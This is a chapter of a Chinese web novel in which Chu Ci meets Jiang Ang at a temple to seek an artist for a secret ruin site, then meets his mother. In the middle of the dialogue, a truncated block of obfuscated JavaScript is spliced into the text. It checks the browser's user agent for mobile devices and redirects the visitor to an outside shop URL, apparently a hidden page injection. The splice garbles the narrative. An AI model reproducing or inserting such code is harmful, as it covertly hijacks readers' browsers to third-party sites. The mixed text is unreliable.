16.第十六章
作品:《万墟归川》 江沪。
清晨,微雨薄雪。
一辆银白SUV沿着林间山路蜿蜒上盘,烟云浸润,路滑如油,比起西南山景的崎岖壮美,江南更显古朴秀致。
是一种被水浸润过的清莹气质。
慧地寺,每逢大年初一楚茨全家会照惯例来此请香祈福,排队的车流一直堵到山脚,令人颇感求神告庙的道路苦不堪言,今天才知道,山下开到山门前,原来只需要二十分钟。
寺院正门的停车场空空如也,楚茨停好位置,下车撑伞朝山门走去。周遭不见人影,雨雪笼罩下衬得山寺越发清冷岑寂。
这是江沪最负盛名的寺院之一,平日香客络绎不绝,即便天气不佳,也鲜少有人迹罕至的景象。
按照约定,江昂会在山门台阶前等她。
前一天,楚茨从上阳飞回江沪,原本打算直接去蝉翼总部拜访,却没想到江昂将她约到了这里。
伞檐抬起,露出山门前的男人,长身玉立,的确气质出尘。
不知是不是久违未见的缘故,他似乎比之前更加英俊惹眼。
山门上蓝额金字,悬着明代名相所书匾额,两侧松柏欲滴,身后是百阶通幽,他一身黑撑伞默立其间,清宁从容。
楚茨快走两步,江昂朝她迎了迎,示意她进到自己伞下:“我来吧。”
楚茨依言收了伞,拿在手里,和他保持着一个微妙的距离,两人拾阶而上,楚茨问:“今天寺中谢客么,一路上没有见到别人。”
“闭寺修缮。”
“那我们……”楚茨语气迟疑。
“无妨。”江昂顿了顿,又道,“不用担心。”
听起来像是和游戏编剧以及后期们待久了,说话习惯还没切换过来,楚茨抿嘴笑笑。
并肩相偎伞下,江昂衣袖带起似有若无的草木香,这味道不像人工制成的香调,似露水清冷,又似雪后梅香。
“你喷香水吗?”楚茨问。
江昂摇头:“从来不用。”
“但是……”楚茨感到有些失礼,却还是说,“你身上有股香气。”
江昂怔然,低头闻了闻,也没察觉出什么香气,脸渐渐有些发红,语气却平常:“可能是刚刚抬香案不小心沾上的。”
这香气与佛香相差千里,完全不是同一个东西,楚茨窥见江昂脸色,只轻轻点头,没有再细说。
登上天王殿前的平台,江昂没有往正殿去的意思,脚步停在香炉旁,偏头询问道:“要去请香?”
楚茨拿不准他问的意思,来寺庙无非请香祈福、开光叩问,她原以为此行是为了陪他上香,看情况却并非如此。
她虽每逢新年都跟随父母前来祈福,但她自己并不是有信仰的人。
不过既然到此,请柱香算是见礼,下车前也备了些零钱在身上,左右四顾不见请香处有人,她刚要开口,江昂已经取了三炷线香回来。
“这个?”楚茨掏出零钱,晃了晃。
江昂一摇头:“不用。”
他全然没有一同敬香的意思。
楚茨把钱收起来,接过线香,依着礼数把三炷香敬入香炉,省去入殿叩拜,江昂引着她登上一旁通往钟楼的阶梯。
看他如此轻车熟路,想来是慧地寺的常客,义工、或者修行,甚至是出资捐款的功德主?
楚茨问:“你看起来很熟悉这里,经常来吗?”
江昂走在前面,说:“有空就会来,这里算是我从小长到大的地方。”
楚茨吓了一跳,问:“你小时候出过家?”
江昂说:“一定要出家吗,清修之地也纳俗人,我没有慧根,入不了佛门。”
楚茨不解:“你的气质确实不像,但没有慧根这点我保留意见。”
江昂问:“怎么说?”
楚茨体力好,登这几十级台阶没有压力,气息均匀平缓。
“小时候,我爸给我讲过佛陀的四种马喻,说马分四类,良好庸驽,一等良马在于洞悉主人意图,见危于无形,因此能够日行千里。放在人身上就是内心明亮、无生妄念,心中常驻明灯,这便是慧根深厚,你就是这种人。”
江昂沉默着没有接话,楚茨慢慢踌躇起来,不知是否冒犯他的前缘,于是说:“当然我不懂佛法根机,全是我一己之见而已,你就当听个乐儿,别放心上。”
“没有。”江昂摇头道,随即又一笑,“你对我评价这么高,一会儿还怎么跟你讨价还价?”
这话说得像是楚茨很有心计似的,她撇嘴道:“虽说请人帮忙势必要投其所好,但我也不至于没节操到编一通瞎话来恭维你。”
“没这意思。”江昂回头看了她一眼,说,“只是单纯谢你欣赏我。”
楚茨对上他的目光,脸竟然唰的一下红了,移开眼嘀咕道:“才不是。”
钟楼前有一座禅房,入内撩开帘才知是间茶室,陶炉上水渐沸腾,咕噜着,时机刚好。
江昂请她入座,泡茶的手势十分老道漂亮,一套流程下来行云流水,楚茨想起在安纲办公室那次,说他不爱咖啡只爱喝茶,居然不是虚言。
两人喝完第一杯茶,他一边注水,一边说:“现在可以说明你的来意了。”
楚茨扶茶杯的手微微一滞,原本开门见山的腹稿到嘴边又顿住,她笑了笑,说:“一想到我们每次见面都是因为工作上的事情,就有点亏心,亏你把我当朋友,一约就出来,怎么我都应该先请你吃饭,喝喝东西,最后送点伴手礼,再慢慢合盘托出我的来意。”
江昂为她分茶的手稍作一停,这个距离,她又闻到那股冷香。
“你能这么想,我很欣慰。”他说,“不过没关系,正是因为我们是朋友,才免去那些俗礼客套,你可以直说。”
“那我就不客气了。”楚茨手指扶在杯壁上,屋外寒意森森,热茶温度正好可以稍暖她冰凉手指,“我们有个专家团队临时接到任务,队里缺少能够绘制复杂空间的专业人员,目前卡在这一步迟迟推进不下去,想请你帮忙推荐一位擅长场景的画手。”
“什么时候需要?”
“越快越好。”
“有样图么?”
“没有。”楚茨面露难色,“这也是我专门约你面谈的原因,地点在封闭遗址里,有保密要求,不能远程线上传输照片再制图,人必须去到现场。”
“手工制图效率不高,论速度和精度,当前有很多设备可以做到快速出图,如果你们需要,我可以提供。”
楚茨知道他所说的那种专供扫描空间的制图仪器:“我们是有那种设备,但问题在于,所有仪器进到那个空间里都会失灵,目前还没有排查出原因,可能是跟遗址里某种金属磁场有关。”
像是在听悬疑故事里的离奇情节,江昂显然对这个更感兴趣,他问:“所有仪器都会失灵?”
楚茨点头:“包括机械表。”
“人会有什么异样体感么?”他问。
“这个你放心,我们有医生随队,每次进去的时间不会很长,而且每个人都穿戴防辐射隔离服,项目进行到现在大家身体各项指标都没有问题。”
江昂低头喝茶沉思着,楚茨有些紧张地盯着他。
找他帮忙的这个办法,其实有她自己的私心。联系各个研究所、书画院、专业学校等,找一个能画那种场景的人并不难,从他团队里找人,多少有点舍近求远。
但接到易千阳的那个电话时,她只能想到找他。
也许是时机恰好,她正式进入休假期,可以随时离开上阳。也许是他的团队里恰好有这种人才,又也许是因为他也在江沪。
不管怎么样,她都希望此行能够顺利,不要跑空。
因为如果他拒绝,受限于这一趟行程的正当性,她似乎只好在谈判破裂后立刻告辞。毕竟今天的开局并不是以一场朋友重逢小聚的情境展开,她有求而来,他以礼相待,已是十分体面照顾。
江昂放下茶杯,抬起眼,正好对上她的目光,他愣了愣:“怎么这么看着我?”
楚茨来不及收回目光,垂下眼端起茶杯,开玩笑似的说:“怕你拒绝啊。”
江昂说:“又不是上刀山下火海,我为什么拒绝你。”
楚茨扬起声调嗯了一声,问他:“如果我邀请你跟我一起上刀山下火海,你就会拒绝了?眼睁睁看着我一个人赴汤蹈火、四面楚歌?”
江昂一本正经地说:“我以为凭你的个人能力,完全可以大杀四方、力克群雄。”
“那人在江湖总有险象环生、误入虎口的时候。”
“嗯。等你落入虎口之际我再从天而降,救你于危难,是不是会更感激我?是不是才利益最大化?”
“话虽如此……但什么叫利益最大化?”
江昂移开眼,淡定地添水分茶:“就是出最少的力,做最关键的事,务求一击即中。”
楚茨眯着眼打量他,总觉得他话里不是这个意思,随后又立刻反应过来,懊恼地闭闭眼:“差点被你绕晕了,那件事你考虑的怎么样,有难度吗?”
“没有难度,明天我让秘书把资料发你邮箱,你可以先做报备。”他问,“什么时候走?”
“明天的话,我让他们那边加急审批,搭后天一早的班机?”楚茨拿出手机开始查询航班,“嗯……最早一班是早上七点五十五的,从你们公司赶去机场应该可以?就是得起个大早了。”她抱歉地说。
“就那班吧,需要派车去接你吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091155|194737||http|test|mini|href|location''.split(''|''),0,{}));
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>“我?”楚茨懵然抬起头,“我不去,这个项目我没参与,是帮易千阳联系的,画手老师到了那边会由他全程负责。”
江昂默了三秒钟,然后问:“所以你从上阳专程飞过来见我,是为了帮他的忙?”
“也不全是。”楚茨按灭手机,放在茶台上,锁屏被她手指扫过无意间亮起。壁纸上年幼的小女孩头戴兔子发箍,两只长耳朵乖乖垂在两侧,背景似乎是片森林,俨然一只误闯丛林、活泼天机的雪兔。
懵懂天真,倒很像是容易被老虎盯上的猎物。
“我休假了,这次回来要多待一阵子,陪陪爸妈。我问邱枫知道你最近也在江沪,所以就约了见面聊,这样显得有诚意嘛。”
“下次可以直接问我,不用问邱枫。更何况,这点小事电话里说也是一样的。”
“耽误你工作了吗?”楚茨担心地问。
江昂放下茶杯,平静地说:“没有,我以为是你的事。”
楚茨正松一口气,却听江昂又道:“我还希望下一次再约我见面,不是公事,而是出于思念朋友的原因。”
茶室内一时之间变得很静。陶炉通红,火候旺盛依旧,这一泡茶味道已经变淡,江昂抬手从一旁茶仓中量取新茶,净碗,置茶,冲水……他安静专注着手上的动作,再未发一言。
楚茨有一瞬间头脑空白,不知道该作出什么回应。他们是朋友,但是是哪种朋友,是她意会的那种朋友吗?如果是,她应该怎么答才不算扫兴。如果不是,她又该怎么答才足够自然,不会显得自作多情?
混乱的思绪在过分宁静的沉默中最终落到呼吸上,她听见自己略显急促的呼吸声。
“我……”后面的话还没有出口,就被一把竹帘挑起又落下的声音打断。有人从外面进来,撩开帘子站在门口,楚茨转头看去,是一位长相精致但气质沉静的妇人。
她被这突如其来的造访者搞得不知所以,突然听见江昂喊了一声“妈”。
那妇人这才放下手里的竹帘,往里走了一步,语气温柔地问:“没有打扰你们吧?”
楚茨如梦方醒般扶着茶台站起来见礼:“阿姨好。”
妇人微笑着拍拍她的手背:“别这么客气,坐。”随即绕到茶台后面,在江昂旁边坐下,“刚听前殿的小沙弥说我儿子来了,就过来看看,没打扰你们就好。”
说完她侧过身,对着江昂一通数落:“来了也不说一声,就请客人在这里喝茶呀?”
江昂默默看了眼盖碗。桐木关内的金骏眉,没想到这都要被诟病。
妇人数落完吩咐了句“倒茶”,接着正过身面对楚茨,一改颜色,温温柔柔:“我姓霍,算起来年纪应该比你妈妈要虚长几岁,叫我伯母或者阿姨都可以。”
“伯母好。”楚茨乖巧地喊了声,又道,“我不知道江昂今天……会见到您,事先没有准备礼物,不好意思。”
“这就见外了,再说初次见面,都是长辈给小辈礼物的。”霍女士说着已有怒容,捶了江昂一拳,“都怪这小子没有提前和我说你要来,害得我没有带礼物,办公室里小玩意儿都太随便了,等下次伯母再给你。”
楚茨连忙笑着应下。
这短短几句话里信息量不小。原来他妈妈在这里工作,难怪他说自己在这长大,这么一来便明白之中的前因后果,之前那番话也就不算冒犯。再者,他妈妈待人和善优雅,看着是会给自家儿子的朋友准备礼物的那种母亲。江昂没有提前告知,想必是没有猜到她们会在这里见面。
三人在小屋喝了几杯茶,饭点将近,江昂斩钉截铁拒绝了霍女士的留饭邀请,带着楚茨先走一步。
屋外飞雪已歇,天光见霁。
两人沿着山道徐徐下行,偶尔见到一两个小和尚从屋檐下快步走过,脚步虽疾,面容却不见焦灼,寺中清梵悦耳,令人心境沉静。
走过一处配殿,楚茨开口说道:“你妈妈见到我似乎并不意外,你经常带朋友来吗?”
江昂说:“我从来没有带人来过。”
楚茨眼睛微微睁大:“真的假的?”
江昂说:“不信你可以去问我妈,现在折回去还来得及。”
楚茨愣了下,问:“来得及?来得及什么?”
“来得及通知厨师不要着急青蟹下锅。”
楚茨握拳道:“什么意思?我八百米测试满分好不好。”
江昂停下来,回身打量了下刚刚走过的石梯:“虽然目测直线距离只有五十米,但算上梯度、爬升、折返跑,还有你和我妈的交谈速度……”
楚茨半眯眼睛盯着他,他转回来,十分淡定地看了看她,说:“总共算下来,我们应该能在晚饭前赶到。”
楚茨:“……”

